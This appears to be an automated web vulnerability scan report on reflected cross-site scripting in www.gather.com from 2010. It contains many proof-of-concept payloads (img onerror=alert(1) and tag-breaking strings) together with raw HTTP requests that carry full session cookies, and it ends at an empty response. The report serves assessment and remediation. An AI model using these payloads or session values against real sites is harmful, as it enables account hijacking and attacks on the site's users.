Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload b1dd7<img%20src%3da%20onerror%3dalert(1)>e181d04da3c was submitted in the REST URL parameter 1. This input was echoed as b1dd7<img src=a onerror=alert(1)>e181d04da3c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /'b1dd7<img%20src%3da%20onerror%3dalert(1)>e181d04da3c HTTP/1.1 Host: www.gather.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ref=direct_www; JSESSIONID=BD1C99A9A0F0592345CF8B14B4CA321F; __utmz=93515714.1292631569.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; __utma=93515714.1873897801.1292631569.1292631569.1292631569.1; __utmc=93515714; gathersid=www02; __qca=P0-493297502-1292631568754; __utmb=93515714.4.10.1292631569; vis=YmLqsrYj16DVPKGLkUa1qlvAPwwASGioX2kBB78NgKOaH7QfV2WO3U5DbjIUlIhc5RE4/A6gpjiU1WjMb3dKXzzA5XnBVdCjhEwHU9TRPvrKo0xt2Jo6JrbwJ7j8EWcp;
Response (redirected)
HTTP/1.1 200 OK Date: Sat, 18 Dec 2010 01:13:10 GMT Server: Apache/2.2.3 (Unix) mod_jk/1.2.28 Set-Cookie: JSESSIONID=2738236D5D479A027B7421BE8A473A9D; Domain=.gather.com; Path=/ Content-Length: 16872 Content-Type: text/html;charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 87f61"><a>a076f0b8bac was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /'87f61"><a>a076f0b8bac HTTP/1.1 Host: www.gather.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ref=direct_www; JSESSIONID=BD1C99A9A0F0592345CF8B14B4CA321F; __utmz=93515714.1292631569.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; __utma=93515714.1873897801.1292631569.1292631569.1292631569.1; __utmc=93515714; gathersid=www02; __qca=P0-493297502-1292631568754; __utmb=93515714.4.10.1292631569; vis=YmLqsrYj16DVPKGLkUa1qlvAPwwASGioX2kBB78NgKOaH7QfV2WO3U5DbjIUlIhc5RE4/A6gpjiU1WjMb3dKXzzA5XnBVdCjhEwHU9TRPvrKo0xt2Jo6JrbwJ7j8EWcp;
Response
HTTP/1.1 200 OK Date: Sat, 18 Dec 2010 01:13:01 GMT Server: Apache/2.2.3 (Unix) mod_jk/1.2.28 Set-Cookie: JSESSIONID=6034A700F7A282E0C823B1FC5410106A; Domain=.gather.com; Path=/ Content-Length: 16787 Content-Type: text/html;charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ffeb1"><a>5406fbdd0b4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET //ffeb1"><a>5406fbdd0b4 HTTP/1.1 Host: www.gather.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ref=direct_www; JSESSIONID=BD1C99A9A0F0592345CF8B14B4CA321F; __utmz=93515714.1292631569.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; __utma=93515714.1873897801.1292631569.1292631569.1292631569.1; __utmc=93515714; gathersid=www02; __qca=P0-493297502-1292631568754; __utmb=93515714.4.10.1292631569; vis=YmLqsrYj16DVPKGLkUa1qlvAPwwASGioX2kBB78NgKOaH7QfV2WO3U5DbjIUlIhc5RE4/A6gpjiU1WjMb3dKXzzA5XnBVdCjhEwHU9TRPvrKo0xt2Jo6JrbwJ7j8EWcp;
Response
HTTP/1.1 200 OK Date: Sat, 18 Dec 2010 01:13:08 GMT Server: Apache/2.2.3 (Unix) mod_jk/1.2.28 Set-Cookie: JSESSIONID=85C298D83E09C49098D1B57B433F5B95; Domain=.gather.com; Path=/ Content-Length: 16785 Content-Type: text/html;charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload f7a08<img%20src%3da%20onerror%3dalert(1)>cf7c0818027 was submitted in the REST URL parameter 1. This input was echoed as f7a08<img src=a onerror=alert(1)>cf7c0818027 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET //f7a08<img%20src%3da%20onerror%3dalert(1)>cf7c0818027 HTTP/1.1 Host: www.gather.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ref=direct_www; JSESSIONID=BD1C99A9A0F0592345CF8B14B4CA321F; __utmz=93515714.1292631569.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; __utma=93515714.1873897801.1292631569.1292631569.1292631569.1; __utmc=93515714; gathersid=www02; __qca=P0-493297502-1292631568754; __utmb=93515714.4.10.1292631569; vis=YmLqsrYj16DVPKGLkUa1qlvAPwwASGioX2kBB78NgKOaH7QfV2WO3U5DbjIUlIhc5RE4/A6gpjiU1WjMb3dKXzzA5XnBVdCjhEwHU9TRPvrKo0xt2Jo6JrbwJ7j8EWcp;
Response (redirected)
HTTP/1.1 200 OK Date: Sat, 18 Dec 2010 01:13:19 GMT Server: Apache/2.2.3 (Unix) mod_jk/1.2.28 Set-Cookie: JSESSIONID=50F1BC4C98096B178B3D855A997D8F37; Domain=.gather.com; Path=/ Content-Length: 16870 Content-Type: text/html;charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 45d02<img%20src%3da%20onerror%3dalert(1)>01d9808d8a0 was submitted in the REST URL parameter 1. This input was echoed as 45d02<img src=a onerror=alert(1)>01d9808d8a0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /URI+SYNTAX+EXCEPTION45d02<img%20src%3da%20onerror%3dalert(1)>01d9808d8a0 HTTP/1.1 Host: www.gather.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ref=direct_www; __utmz=93515714.1292631569.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; __qca=P0-493297502-1292631568754; JSESSIONID=BD1C99A9A0F0592345CF8B14B4CA321F; vis=YmLqsrYj16DVPKGLkUa1qlvAPwwASGioX2kBB78NgKOaH7QfV2WO3U5DbjIUlIhc5RE4/A6gpjiU1WjMb3dKXzzA5XnBVdCjhEwHU9TRPvrKo0xt2Jo6JrbwJ7j8EWcp; gathersid=www02; __utma=93515714.1873897801.1292631569.1292631569.1292631569.1; __utmc=93515714; __utmb=93515714.3.10.1292631569
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 38f6c"><a>992030f4979 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /URI+SYNTAX+EXCEPTION38f6c"><a>992030f4979 HTTP/1.1 Host: www.gather.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ref=direct_www; __utmz=93515714.1292631569.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; __qca=P0-493297502-1292631568754; JSESSIONID=BD1C99A9A0F0592345CF8B14B4CA321F; vis=YmLqsrYj16DVPKGLkUa1qlvAPwwASGioX2kBB78NgKOaH7QfV2WO3U5DbjIUlIhc5RE4/A6gpjiU1WjMb3dKXzzA5XnBVdCjhEwHU9TRPvrKo0xt2Jo6JrbwJ7j8EWcp; gathersid=www02; __utma=93515714.1873897801.1292631569.1292631569.1292631569.1; __utmc=93515714; __utmb=93515714.3.10.1292631569
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1826b"><a>0c2cd63fa95 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /1826b"><a>0c2cd63fa95 HTTP/1.1 Host: www.gather.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: gathersid=1025; ref=direct_www; __utmz=185998783.1292631521.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; __utma=185998783.1458088080.1292631521.1292631521.1292631521.1; __utmc=185998783; __utmb=185998783.1.10.1292631521
Response
HTTP/1.1 200 OK Date: Sat, 18 Dec 2010 01:09:39 GMT Server: Apache/2.2.3 (Unix) mod_jk/1.2.28 Set-Cookie: JSESSIONID=4EEF75EC94D3311411F443E127A8DC99; Domain=.gather.com; Path=/ Set-Cookie: vis=oYJJAJr80LvHZTwEve5vMWDz/KkzNhW00SEnDLj5zab+IE7XeAYzXFi7yCXp49uaP61J2ZVQy81thLLHk6x0pK6Sc0V1s7pO+yoplfaxqnI=; Domain=gather.com; Expires=Fri, 13-Dec-2030 01:09:39 GMT; Path=/ P3P: policyref="http://ads.gather.com/w3c/p3p.xml", CP="PSAa PSDa ADMa DEVa OUR IND DSP NOI COR UNI NAV CURa COM INT" Set-Cookie: vis=SkwC+m1NomMUPNT7LOc50mDz/KkzNhW00SEnDLj5zab+IE7XeAYzXFi7yCXp49uaP61J2ZVQy81thLLHk6x0pEXin5V5d58kCFFwJDE0GjLFtlVx+Gsbi4co5d54K7Eb; Domain=gather.com; Expires=Fri, 13-Dec-2030 01:09:39 GMT; Path=/ P3P: policyref="http://ads.gather.com/w3c/p3p.xml", CP="PSAa PSDa ADMa DEVa OUR IND DSP NOI COR UNI NAV CURa COM INT" Content-Length: 16820 Content-Type: text/html;charset=UTF-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload d3c51<img%20src%3da%20onerror%3dalert(1)>438867a4e74 was submitted in the REST URL parameter 1. This input was echoed as d3c51<img src=a onerror=alert(1)>438867a4e74 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /d3c51<img%20src%3da%20onerror%3dalert(1)>438867a4e74 HTTP/1.1 Host: www.gather.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: gathersid=1025; ref=direct_www; __utmz=185998783.1292631521.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; __utma=185998783.1458088080.1292631521.1292631521.1292631521.1; __utmc=185998783; __utmb=185998783.1.10.1292631521
Response (redirected)
HTTP/1.1 200 OK Date: Sat, 18 Dec 2010 01:10:01 GMT Server: Apache/2.2.3 (Unix) mod_jk/1.2.28 Set-Cookie: JSESSIONID=6593375C733B7F8E4349EC945139BAA3; Domain=.gather.com; Path=/ Set-Cookie: vis=AZisqJmc6NLdGkmuVDhxnWQggGPEny2XhGN7bOBtz0PQ1jT7HCFYco8UHdKsqF64PX018Ec/f6lilWENUnOZHBRKwWHolBAURAToomxbxKc=; Domain=gather.com; Expires=Fri, 13-Dec-2030 01:10:01 GMT; Path=/ P3P: policyref="http://ads.gather.com/w3c/p3p.xml", CP="PSAa PSDa ADMa DEVa OUR IND DSP NOI COR UNI NAV CURa COM INT" Set-Cookie: vis=S1wQDMcQk6P7ISlUTt3FqHafi+V9EceRCmR0fft4qz/GZde/etCDObozJ3AAR9bDfUYkuLcQhu5hKHCFzfchgSgp9VluNg2onOq+PisgLo6WY9d+ewg2NjrStWKE6KMw; Domain=gather.com; Expires=Fri, 13-Dec-2030 01:10:01 GMT; Path=/ P3P: policyref="http://ads.gather.com/w3c/p3p.xml", CP="PSAa PSDa ADMa DEVa OUR IND DSP NOI COR UNI NAV CURa COM INT" Content-Length: 16905 Content-Type: text/html;charset=UTF-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload ba8a5<img%20src%3da%20onerror%3dalert(1)>29c796dfeff was submitted in the REST URL parameter 1. This input was echoed as ba8a5<img src=a onerror=alert(1)>29c796dfeff in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /ba8a5<img%20src%3da%20onerror%3dalert(1)>29c796dfeff HTTP/1.1 Host: www.gather.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ref=direct_www; JSESSIONID=BD1C99A9A0F0592345CF8B14B4CA321F; __utmz=93515714.1292631569.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; __utma=93515714.1873897801.1292631569.1292631569.1292631569.1; __utmc=93515714; gathersid=www02; __qca=P0-493297502-1292631568754; __utmb=93515714.4.10.1292631569; vis=YmLqsrYj16DVPKGLkUa1qlvAPwwASGioX2kBB78NgKOaH7QfV2WO3U5DbjIUlIhc5RE4/A6gpjiU1WjMb3dKXzzA5XnBVdCjhEwHU9TRPvrKo0xt2Jo6JrbwJ7j8EWcp;
Response (redirected)
HTTP/1.1 200 OK Date: Sat, 18 Dec 2010 01:12:59 GMT Server: Apache/2.2.3 (Unix) mod_jk/1.2.28 Set-Cookie: JSESSIONID=A66CC898F220FC2B2C5E0273538FD561; Domain=.gather.com; Path=/ Content-Length: 16870 Content-Type: text/html;charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 358eb"><a>dc09477d472 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /358eb"><a>dc09477d472 HTTP/1.1 Host: www.gather.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ref=direct_www; JSESSIONID=BD1C99A9A0F0592345CF8B14B4CA321F; __utmz=93515714.1292631569.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; __utma=93515714.1873897801.1292631569.1292631569.1292631569.1; __utmc=93515714; gathersid=www02; __qca=P0-493297502-1292631568754; __utmb=93515714.4.10.1292631569; vis=YmLqsrYj16DVPKGLkUa1qlvAPwwASGioX2kBB78NgKOaH7QfV2WO3U5DbjIUlIhc5RE4/A6gpjiU1WjMb3dKXzzA5XnBVdCjhEwHU9TRPvrKo0xt2Jo6JrbwJ7j8EWcp;
Response
HTTP/1.1 200 OK Date: Sat, 18 Dec 2010 01:12:53 GMT Server: Apache/2.2.3 (Unix) mod_jk/1.2.28 Set-Cookie: JSESSIONID=32C2C2E6E6F98FF762E308B5FB231362; Domain=.gather.com; Path=/ Content-Length: 16785 Content-Type: text/html;charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 13d76"><a>c371f1459da was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /13d76"><a>c371f1459da HTTP/1.1 Host: www.gather.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ref=direct_www; JSESSIONID=BD1C99A9A0F0592345CF8B14B4CA321F; __utmz=93515714.1292631569.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; __utma=93515714.1873897801.1292631569.1292631569.1292631569.1; __utmc=93515714; gathersid=www02; __qca=P0-493297502-1292631568754; __utmb=93515714.4.10.1292631569; vis=YmLqsrYj16DVPKGLkUa1qlvAPwwASGioX2kBB78NgKOaH7QfV2WO3U5DbjIUlIhc5RE4/A6gpjiU1WjMb3dKXzzA5XnBVdCjhEwHU9TRPvrKo0xt2Jo6JrbwJ7j8EWcp;
Response
HTTP/1.1 200 OK Date: Sat, 18 Dec 2010 01:13:01 GMT Server: Apache/2.2.3 (Unix) mod_jk/1.2.28 Set-Cookie: JSESSIONID=13A669FDB2B70C19465CAB363257E360; Domain=.gather.com; Path=/ Content-Length: 16785 Content-Type: text/html;charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload e3762<img%20src%3da%20onerror%3dalert(1)>6bcfd59599 was submitted in the REST URL parameter 1. This input was echoed as e3762<img src=a onerror=alert(1)>6bcfd59599 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /e3762<img%20src%3da%20onerror%3dalert(1)>6bcfd59599 HTTP/1.1 Host: www.gather.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ref=direct_www; JSESSIONID=BD1C99A9A0F0592345CF8B14B4CA321F; __utmz=93515714.1292631569.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; __utma=93515714.1873897801.1292631569.1292631569.1292631569.1; __utmc=93515714; gathersid=www02; __qca=P0-493297502-1292631568754; __utmb=93515714.4.10.1292631569; vis=YmLqsrYj16DVPKGLkUa1qlvAPwwASGioX2kBB78NgKOaH7QfV2WO3U5DbjIUlIhc5RE4/A6gpjiU1WjMb3dKXzzA5XnBVdCjhEwHU9TRPvrKo0xt2Jo6JrbwJ7j8EWcp;
Response (redirected)
HTTP/1.1 200 OK Date: Sat, 18 Dec 2010 01:13:09 GMT Server: Apache/2.2.3 (Unix) mod_jk/1.2.28 Set-Cookie: JSESSIONID=D14C13604B944B0E3041483C42B595F2; Domain=.gather.com; Path=/ Content-Length: 16867 Content-Type: text/html;charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9afa8"><a>f39f94cff34 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /9afa8"><a>f39f94cff34 HTTP/1.1 Host: www.gather.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ref=direct_www; JSESSIONID=BD1C99A9A0F0592345CF8B14B4CA321F; __utmz=93515714.1292631569.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; __utma=93515714.1873897801.1292631569.1292631569.1292631569.1; __utmc=93515714; gathersid=www02; __qca=P0-493297502-1292631568754; __utmb=93515714.4.10.1292631569; vis=YmLqsrYj16DVPKGLkUa1qlvAPwwASGioX2kBB78NgKOaH7QfV2WO3U5DbjIUlIhc5RE4/A6gpjiU1WjMb3dKXzzA5XnBVdCjhEwHU9TRPvrKo0xt2Jo6JrbwJ7j8EWcp;
Response
HTTP/1.1 200 OK Date: Sat, 18 Dec 2010 01:13:09 GMT Server: Apache/2.2.3 (Unix) mod_jk/1.2.28 Set-Cookie: JSESSIONID=39699AEC4944D7439333EC013C73D278; Domain=.gather.com; Path=/ Content-Length: 16785 Content-Type: text/html;charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 6564e<img%20src%3da%20onerror%3dalert(1)>814b1db038a was submitted in the REST URL parameter 1. This input was echoed as 6564e<img src=a onerror=alert(1)>814b1db038a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /6564e<img%20src%3da%20onerror%3dalert(1)>814b1db038a HTTP/1.1 Host: www.gather.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ref=direct_www; JSESSIONID=BD1C99A9A0F0592345CF8B14B4CA321F; __utmz=93515714.1292631569.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; __utma=93515714.1873897801.1292631569.1292631569.1292631569.1; __utmc=93515714; gathersid=www02; __qca=P0-493297502-1292631568754; __utmb=93515714.4.10.1292631569; vis=YmLqsrYj16DVPKGLkUa1qlvAPwwASGioX2kBB78NgKOaH7QfV2WO3U5DbjIUlIhc5RE4/A6gpjiU1WjMb3dKXzzA5XnBVdCjhEwHU9TRPvrKo0xt2Jo6JrbwJ7j8EWcp;
Response (redirected)
HTTP/1.1 200 OK Date: Sat, 18 Dec 2010 01:13:21 GMT Server: Apache/2.2.3 (Unix) mod_jk/1.2.28 Set-Cookie: JSESSIONID=15FE4D4BC275C1412E7A767EBD305AC9; Domain=.gather.com; Path=/ Content-Length: 16870 Content-Type: text/html;charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload def57"><a>9214e57c5fa was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /def57"><a>9214e57c5fa HTTP/1.1 Host: www.gather.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
